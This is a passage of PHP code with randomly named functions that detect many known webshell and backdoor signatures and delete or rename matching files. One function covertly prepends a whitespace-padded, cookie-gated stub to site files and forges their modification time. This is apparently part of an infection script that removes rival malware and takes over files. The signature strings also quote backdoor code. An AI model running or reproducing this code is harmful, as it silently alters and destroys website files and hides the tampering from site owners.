    return TRUE;
}

return FALSE;
}
function gpikaqlc($path)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");
$space_str = "";
for ($i=0; $i<512; $i++) {$space_str .= " ";}
$payload = "<" . "?php " . $space_str . " if (!isset(\$_COOKIE['[AUTH]'])) {header('HTTP/1.0 404 Not Found');exit;} ?> ";
$payload = str_replace('[AUTH]', $auth_token, $payload);
$data = @file_get_contents($path);

$mod_time = @stat($path);
@unlink($path);
@file_put_contents($path, $payload . $data);
if ($mod_time)
{
    @touch($path, $mod_time['mtime']);
}

}
function rytkrx($content)
{
if (strpos($content, "  ,\"") !== FALSE && strpos($content, "\";\$") !== FALSE && strpos($content, "'\".\$") !== FALSE && substr_count($content, " = \"") == 3)
{
    return TRUE;
}

return FALSE;
}
function geahqqet($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rkxhgrqyal($content)
{
if (substr_count($content, ".chr(") > 20 && substr_count($content, "\n") < 10)
{
    return TRUE;
}
return FALSE;
}
function gmzknmt($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function refg($content)
{
if (strpos($content, "Location: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx") !== FALSE) { return TRUE; } return FALSE;
}
function gdhne($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rdjfasxrg($content)
{
if (strpos($content, "this-is-the-test-of-door") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gqfuu($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rhow($content)
{
if (strpos($content, "<?php \$") === 0 && substr_count($content, ";\$") == 7)
{
    return TRUE;
}

return FALSE;
}
function gzfkylyosi($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rqcxjfhdrp($content)
{
if (strpos($content, "if (isset(\$_COOKIE[\"id\"])) @\$_COOKIE[\"user\"](\$_COOKIE[\"id\"]);") !== FALSE)
{
    return TRUE;
}
return FALSE;

}
function gggwqlafmal($path)
{
@file_put_contents($path, str_replace("if (isset(\$_COOKIE[\"id\"])) @\$_COOKIE[\"user\"](\$_COOKIE[\"id\"]);", "", @file_get_contents($path)));
}
function rrhzwyaxsc($content)
{
if (strpos($content, "<" . "?php eval(eval(\"") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gztzzslkei($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rwwpsmrmg($content)
{
if (strpos($content, "};eval(\$") !== FALSE && substr_count($content, "}.\$") == 21 && substr_count($content, "};\$") == 4)
{
    return TRUE;
}

return FALSE;
}
function gryrthzfa($path)
{
$content = @file_get_contents($path);

$start = strpos($content, "<" . "?php");
if ($start !== FALSE)
{
    $stop = strpos($content, "?" . ">", $start);
    $payload_pos = strpos($content, "};eval(\$");

    if ($stop != FALSE && $payload_pos !== FALSE && $payload_pos < $stop)
    {
        $stop += 2;
        @file_put_contents($path, substr($content, $stop));
    }
}
}
function rozdactyet($content)
{
if (substr_count($content, "].\$") == 15 && substr_count($content, ").\"") >= 9)
{
    return TRUE;
}

return FALSE;
}
function gnseks($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rrbxeupsky($content)
{
if (strpos($content, "echo \"file test okay\";") !== FALSE && strpos($content, "if( isset(\$_REQUEST[\"test_url\"]) ){") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gqipoqobal($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function raaihrc($content)
{
if ((strpos($content, "eval") !== FALSE || strpos($content, "preg_replace") !== FALSE || strpos($content, "_REQUEST") !== FALSE || strpos($content, "_PO") !== FALSE) && substr_count($content, "\n") <= 1 && strlen($content) < 1000)
{
    return TRUE;
}

return FALSE;
}
function gqzwrttn($path)
{
return;
}
function rsggz($content)
{
if (strpos($content, "null==getCookie(\"__cfgoid\")&&(setCookie(\"__cfgoid\",1,1),") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gzttbeeegz($path)
{
return;
}
function rwapuft($content)
{
if (strpos($content, "arr2html(\$_REQUEST['array']);") !== FALSE && strpos($content, "@assert(\$array);") !== FALSE)
{
        return TRUE;
}

return FALSE;
}
function gqxxmpne($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rnirxwvhy($content)
{
if (strpos($content, " = \"\\x69\\x6e\\x74\\x76\\x61\\x6c\"; \$") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function glemz($path)
{
return;
}
function rxpdnyswb($content)
{
if (strpos($content, "))));") !== FALSE and strpos($content, "\";@\$") !== FALSE and substr_count($content, "\";\$") > 10)
{
    return TRUE;
}


return FALSE;
}
function gkucrpfloia($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rkacwaghilf($content)
{
if (strpos($content, "ZXZhbChiYXNlNjRfZGVjb2RlKCdEUW8vUGp3L2NHaHdEUW9qSXlNakl5TWpJeU1qSXlNakl") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gayrzc($path)
{
return;
}
function rqjqvr($content)
{
if (strpos($content, "ER['REMOTE_ADDR'], \"23.8\")===false){") !== FALSE)
{
    return TRUE;
}

if (strpos($content, ".php.suspected\", \"t") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "unlink(\"../d730d81e7") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "<" . "?php @require('./") !== FALSE && strpos($content, ".php") === FALSE)
{
    return TRUE;
}

if (strpos($content, "\"];}exit();}\$") !== FALSE && strpos($content, ");break;case 1:\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "if (file_exists(\"vzsda.php.suspected\"))") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gecdg($path)
{
@unlink($path);
}
function rxubmoidtd($content)
{
if (strpos($content, "\$wp_enc_file = '<" . "?php eval(\"") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function grlxvmlkiv($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rqmckwftf($content)
{
if (strpos($content, "\treturn @gzinflate") !== FALSE && strpos($content, "'] : (isset(\$_COOKIE['") !== FALSE && strpos($content, "<form method=\"post\" action=\"\">") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gfwwzistqfs($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rrdpfu($content)
{
if (strpos($content, "@gzinflate(strrev(\$") !== FALSE && strpos($content, "    if(crc32(\$") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gtqeef($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rjpmh($content)
{
if (strpos($content, "urldecode(\"%6E1%7A%62%2F%6D%615%5C%76") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gjysucfvs($path)
{
return;
}
function roao($content)
{
if (strpos($content, "\"));'); \$strings(\$light);") !== FALSE || strpos($content, "@\$strings(str_rot13('riny(") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gvrhfjhdkp($path)
{
return;
}
function rpzdft($content)
{
if (strpos($content, "\$code.=\$name.\"c+=String.fromC") !== FALSE && strpos($content, "if(isset(\$_COOKIE['google'])") !== FALSE){
    return TRUE;
}

return FALSE;
}
function goxoknmwm($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rpuwao($content)
{
if (strpos($content, "\$f = \$a(\"\", \$array_name(\$string));") !== FALSE && strpos($content, "MALWARE") === FALSE)
{
    return TRUE;
}
return FALSE;
}
function gqelmmabr($path)
{
return;
}
function rdlfe($content)
{
if (strpos($content, "if( isset(\$_POST['_f_wp']) ) @setcookie( '_f_wp', \$_POST['_f_wp'] );") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gulgpfe($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rgyq($content)
{
if (strpos($content, "<" . "?php eval(gzinflate(base64_decode('") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function guhcwyjuqx($path)
{
return;
}
function rciedmmk($content)
{
if (strpos($content, "str_rot13('fge_ebg13');") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function glclcfasilm($path)
{
return;
}
function rbrxs($content)
{
if (strpos($content, "=str_replace(\"[t1]\", \"<" . "?\", \$") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function goqp($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rmax($content)
{
if (substr_count($content, "].\$") == 15 && strpos($content, "FilesMan") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gewvixpjzvz($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rbpfc($content)
{
if (strpos($content, "isset(\$_COOKIE['g__g_']") !== FALSE)
{
    return TRUE;
}
return FALSE;

}
function gwab($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function risuzgf($content)
{
if (strpos($content, "file_get_contents('http://www.google.com/safebrowsing/diagnostic?output=jsonp&") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function golbcum($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rqhbcjdmsv($content)
{
if (substr_count($content, "} . \$") == 36)
{
    return TRUE;
}
return FALSE;
}
function gesstxsuipm($path)
{
return;
}
function rkqyq($content)
{
if (strpos($content, "\'#ListChecker#i\', \'#MSIECrawler#i\', \'#NetCache#i\', \'#Nutch#i\'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function giicko($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rneisisz($content)
{
if (strpos($content, "=str_ireplace(\"i\",\"\",") !==  FALSE && strpos($content, ",E_USER_ERROR);") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gbafeviovhb($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rkqsf($content)
{
if (substr_count($content, "return \"{\$") > 50)
{
    return TRUE;
}
return FALSE;

}
function gvfzazpk($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rfyxj($content)
{
if (strpos($content, " }eval(") !== FALSE && strpos($content, "\$i] = chr(ord(\$") !== FALSE && strpos($content, "=gzinflate(\$code($") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gyobejfssd($path)
{
return;
}
function rzbvtgkg($content)
{
if (strpos($content, "b374k 2.8") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gwdpgdodnsm($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function refvnbdd($content)
{
if (strpos($content, "ms_not_installed") !== FALSE && strpos($content, "\$id = \$_POST['id']") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function goftjei($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rxeon($content)
{
if (strpos($content, "?yid=%d&lid=%d&jumpurl=%d&from=%s") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gqqsqmumzw($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rbyhucr($content)
{
if (strpos($content, "if(!\$ping){post_mch(\$sd,'C1',\$rel);}") !== FALSE)
{
    return TRUE;
}
}
function gbpvfxic($path)
{
return;
}
function rilrfytsvkh($content)
{
if (strpos($content, "print '*valid:ok*'.\$crlf;") !== FALSE)
{
    return TRUE;
}
}
function gpvpy($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rmnhterp($content)
{
if (strpos($content, "if (is_array(\$s) && (count(\$s) > 0) && isset(\$s[0]['txt']) && strlen(\$s[0]['txt']))") !== FALSE)
{
    return TRUE;
}

}
function gcuk($path)
{
return;
}
function rngmuueunlc($content)
{
if (strpos($content, "\$_REQUEST['action'] == 'indt'") !== FALSE and strpos($content, "mail(stripslashes(base64_decode") !== FALSE)
{
    return TRUE;
}
}
function gitgl($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rlvjmtrf($content)
{
if (strpos($content, "eval(\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\") !== FALSE)
{
    return TRUE;
}
}
function gktpodrjmk($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rejpxuer($content)
{
if (strpos($content, "{\$r='';for(\$i=0;\$i<strLen(\$p);\$i+=2){\$r.=chr(hexdec(\$p[\$") !== FALSE)
{
    return TRUE;
}
}
function gqmv($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function runja($content)
{
if (strpos($content, "\$this->muf=\$this->dispatch('GIF89alxWam9FZlRWYvxGc19VZ29Wb');") !== FALSE)
{
    return TRUE;
}

}
function gpzhlr($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rzjvundqun($content)
{
if (strpos($content, "z0=\$_REQUEST['sort'];\$q1='';\$c2=\"wt8m4;") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gemghu($path)
{
return;
}
function rpqjmgu($content)
{
if (strpos($content, "aWYoISRfQ09PS0lFW") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function giheg($path)
{
return;
}
